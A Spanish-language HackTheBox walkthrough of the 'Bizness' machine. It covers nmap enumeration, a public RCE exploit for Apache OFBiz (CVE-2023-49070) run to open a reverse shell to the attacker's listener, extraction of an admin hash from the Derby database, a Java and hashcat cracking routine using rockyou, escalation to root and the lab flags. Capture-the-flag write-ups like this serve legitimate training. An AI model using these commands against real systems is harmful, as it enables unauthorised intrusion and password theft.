Bizness es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Bizness 10.129.252.69 a /etc/hosts como bizness.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.252.69 Nmap scan report for 10.129.252.69 Host is up, received echo-reply ttl 63 (0.082s latency). Scanned at 2024-01-06 21:18:10 GMT for 15s Not shown: 59713 closed tcp ports (reset), 5818 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 443/tcp open https syn-ack ttl 63 32891/tcp open unknown syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Jan 6 21:18:26 2024 -- 1 IP address (1 host up) scanned in 15.58 seconds |
Una vez detectados los puertos abiertos lanzamos un segundo escaneo sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ nmap -sCV -p 22,80,443,32891 -oA enumeration/nmap2 10.129.252.69 Nmap scan report for bizness.htb (10.129.252.69) Host is up (0.040s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA) | 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA) |_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to https://bizness.htb/ |_http-server-header: nginx/1.18.0 443/tcp open ssl/http nginx 1.18.0 |_ssl-date: TLS randomness does not represent time |_http-title: BizNess Incorporated |_http-trane-info: Problem with XML parsing of /evox/about |_http-server-header: nginx/1.18.0 | tls-nextprotoneg: |_ http/1.1 | ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK | Not valid before: 2023-12-14T20:03:40 |_Not valid after: 2328-11-10T20:03:40 | tls-alpn: |_ http/1.1 32891/tcp open tcpwrapped Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jan 6 21:19:12 2024 -- 1 IP address (1 host up) scanned in 22.50 seconds |
Enumeración
Acedemos al portal web en el puerto 80 y nos redirecciona al puerto 443 donde vemos la siguiente página web

Realizamos varias enumeraciones y encontramos un formulario de login en la uri /control/login

Viendo el footer vemos que se trata del software OFBiz en la versión 18.12 así que vamos a google y encontramos la vulnerabilidad CVE-2023-49070, que se trata de un RCE, y un exploit para la misma.
Así que revisamos el script y lo ejecutamos
|
1 2 3 |
$ python3 exploit.py https://bizness.htb/ shell 10.10.14.200:4444 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true Not Sure Worked or not |
Parece que no funciona, pero si miramos nuestra escucha tenemos una revshell
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.252.69 57646 bash: cannot set terminal process group (721): Inappropriate ioctl for device bash: no job control in this shell ofbiz@bizness:/opt/ofbiz$ whoami whoami ofbiz ofbiz@bizness:/opt/ofbiz$ |
Obteniendo la flag de user
Vamos a la home del usuario y tenemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
ofbiz@bizness:/opt/ofbiz$ cd /home cd /home ofbiz@bizness:/home$ ls -l ls -l total 4 drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 09:15 ofbiz ofbiz@bizness:/home$ cd ofbiz cd ofbiz ofbiz@bizness:~$ ls -l ls -l total 8 drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 l -rw-r----- 1 root ofbiz-operator 33 Jan 6 16:10 user.txt ofbiz@bizness:~$ cat user.txt cat user.txt 8dac99ca034c90cdc36ac5f0832872d6 ofbiz@bizness:~$ |
Escalado de privilegios
Para el escalado de privilegios enumeramos la máquina pero no parece que tengamos ningún privilegio.
Revisamos la base de datos de derby, utilizada por la aplicación, y encontramos un hash en uno de los ficheros
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
ofbiz@bizness:/opt/ofbiz/runtime/data$ strings derby/ofbiz/seg0/c54d0.dat strings derby/ofbiz/seg0/c54d0.dat 8501 <?xml version="1.0" encoding="UTF-8"?> <ofbiz-ser> <map-HashMap> <map-Entry> <map-Key> <std-String value="recurrenceInfoId"/> </map-Key> <map-Value> <std-String value="400"/> </map-Value> </map-Entry> </map-HashMap> </ofbiz-ser> 10000 J<?xml version="1.0" encoding="UTF-8"?><ofbiz-ser> <map-HashMap> <map-Entry> <map-Key> <std-String value="updatedUserLogin"/> </map-Key> <map-Value> <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/> </map-Value> </map-Entry> <map-Entry> <map-Key> <std-String value="locale"/> </map-Key> <map-Value> <std-Locale value="en"/> </map-Value> </map-Entry> </map-HashMap> </ofbiz-ser> |
Ahora para tratar de romper el mismo vamos a buscar el código utilizado por la aplicación y lo encontramos en github.
Nos fijaremos en la función doComparePosix debido a que el hash empieza por el carácter $, y por lo tanto será donde entre después de ejecutarse la función comparePassword.
El siguiente paso será romper el hash, para ello utilizo este simple script en java que utiliza las propias funciones de ofbiz y lo compara con cada una de las palabras existentes en el diccionario rockyou
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import java.util.List; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import org.apache.ofbiz.base.crypto.HashCrypt; public class Test { private static final String anim = "|/-\\"; public static void main(String args[]) throws Exception { long i = 0; List < String > allLines = Files.readAllLines(Paths.get("rockyou.txt"), StandardCharsets.ISO_8859_1); for (String line: allLines) { if (HashCrypt.comparePassword("$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I", "", line)) { System.out.println("\rCracked: " + line); return; } if (i % 1000 == 0) { System.out.print("\rCracking... " + anim.charAt((int)(i / 1000) % anim.length())); } i++; } System.out.println("\rPassword not cracked!"); } } |
Una vez lo tenemos, subimos el fichero java y el diccionario rockyou a la máquina y ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 |
ofbiz@bizness:/opt/ofbiz$ javac -cp ./build/libs/ofbiz.jar Test.java ; java -cp ./build/libs/ofbiz.jar:. Test < Test.java ; java -cp ./build/libs/ofbiz.jar:. Test 2024-01-07 04:08:15,553 |main |UtilURL |W| No ofbiz.home property set in environment 2024-01-07 04:08:15,837 |main |UtilURL |W| No ofbiz.home property set in environment 2024-01-07 04:08:15,838 |main |UtilURL |W| No ofbiz.home property set in environment 2024-01-07 04:08:15,839 |main |UtilURL |W| No ofbiz.home property set in environment 2024-01-07 04:08:15,840 |main |UtilURL |W| No ofbiz.home property set in environment 2024-01-07 04:08:15,840 |main |UtilProperties |W| Error converting String "" to Integer; using defaultNumber 10000. Cracking... Cracked: xxxxxxxxxxxxxxxxxx |
Y con la password escalamos a root
|
1 2 3 4 5 6 |
ofbiz@bizness:/opt/ofbiz/export$ su - su - Password: xxxxxxxxxxxxxxxxx id uid=0(root) gid=0(root) groups=0(root) |
Obtención de la password con hashcat
Existe otra forma de obtener la password y es utilizando hashcat.
Para ello nos vamos a CyberChef y necesitaremos convertirla
From Base64 (URL Safe) + To Hex Content (All Chars) = hash to crack
Con esto generamos el hash y lo guardamos en un fichero
|
1 |
b8fd3f41a541a435857a8f3e751cc3a91c174362:d |
Y lo rompemos con hashcat
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ hashcat -m 120 hash /usr/share/wordlists/rockyou.txt --force ... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 b8fd3f41a541a435857a8f3e751cc3a91c174362:d:xxxxxxxxxxxxxxxx Session..........: hashcat Status...........: Cracked Hash.Mode........: 120 (sha1($salt.$pass)) Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d Time.Started.....: Sun Jan 7 10:11:48 2024, (1 sec) Time.Estimated...: Sun Jan 7 10:11:49 2024, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1307.7 kH/s (0.32ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 1478656/14344385 (10.31%) Rejected.........: 0/1478656 (0.00%) Restore.Point....: 1477632/14344385 (10.30%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: montano13 -> monkey-moo Hardware.Mon.#1..: Util: 95% |
Obteniendo la flag de root
Como último paso mejoramos nuestra shell y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 |
script /dev/null -c bash Script started, output log file is '/dev/null'. root@bizness:~# ls -l ls -l total 4 -rw-r----- 1 root root 33 Jan 6 18:20 root.txt root@bizness:~# cat root.txt cat root.txt dd251cf56766d09dcd744aa452d7ab21 root@bizness:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










